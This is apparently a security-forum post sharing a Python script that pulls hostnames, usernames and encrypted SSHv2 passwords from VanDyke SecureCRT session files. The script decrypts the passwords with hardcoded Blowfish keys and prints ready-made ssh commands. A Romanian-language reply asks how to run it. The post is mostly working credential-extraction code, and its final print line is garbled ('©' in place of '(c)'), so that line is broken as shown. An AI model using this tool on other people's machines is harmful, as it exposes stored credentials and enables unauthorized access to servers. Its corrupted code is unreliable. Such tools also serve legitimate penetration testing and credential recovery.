Decrypt SSHv2 passwords stored in VanDyke SecureCRT

[Nytro]

Decrypt SSHv2 passwords stored in VanDyke SecureCRT

#!/usr/bin/env python

#

# Decrypt SSHv2 passwords stored in VanDyke SecureCRT session files

# Can be found on Windows in:

# %APPDATA%\VanDyke\Config\Sessions\sessionname.ini

# Tested with version 7.2.6 (build 606) for Windows

# Eloi Vanderbeken - Synacktiv

from Crypto.Cipher import Blowfish

import argparse

import re

def decrypt(password) :

c1 = Blowfish.new('5F B0 45 A2 94 17 D9 16 C6 C6 A2 FF 06 41 82 B7'.replace(' ','').decode('hex'), Blowfish.MODE_CBC, '\x00'*8)

c2 = Blowfish.new('24 A6 3D DE 5B D3 B3 82 9C 7E 06 F4 08 16 AA 07'.replace(' ','').decode('hex'), Blowfish.MODE_CBC, '\x00'*8)

padded = c1.decrypt(c2.decrypt(password.decode('hex'))[4:-4])

p = ''

while padded[:2] != '\x00\x00' :

p += padded[:2]

padded = padded[2:]

return p.decode('UTF-16')

REGEX_HOSTNAME = re.compile(ur'S:"Hostname"=([^\r\n]*)')

REGEX_PASWORD = re.compile(ur'S:"Password"=u([0-9a-f]+)')

REGEX_PORT = re.compile(ur'D:"\[sSH2\] Port"=([0-9a-f]{8})')

REGEX_USERNAME = re.compile(ur'S:"Username"=([^\r\n]*)')

def hostname(x) :

m = REGEX_HOSTNAME.search(x)

if m :

return m.group(1)

return '???'

def password(x) :

m = REGEX_PASWORD.search(x)

if m :

return decrypt(m.group(1))

return '???'

def port(x) :

m = REGEX_PORT.search(x)

if m :

return '-p %d '%(int(m.group(1), 16))

return ''

def username(x) :

m = REGEX_USERNAME.search(x)

if m :

return m.group(1) + '@'

return ''

parser = argparse.ArgumentParser(description='Tool to decrypt SSHv2 passwords in VanDyke Secure CRT session files')

parser.add_argument('files', type=argparse.FileType('r'), nargs='+',

help='session file(s)')

args = parser.parse_args()

for f in args.files :

c = f.read().replace('\x00', '')

print f.name

print "ssh %s%s%s # %s"%(port©, username©, hostname©, password©)

[cezarboy11]

asa dar comanda ca sal folosesti ./sshv2 port user host pass sau cum e ca nu chiar inteleg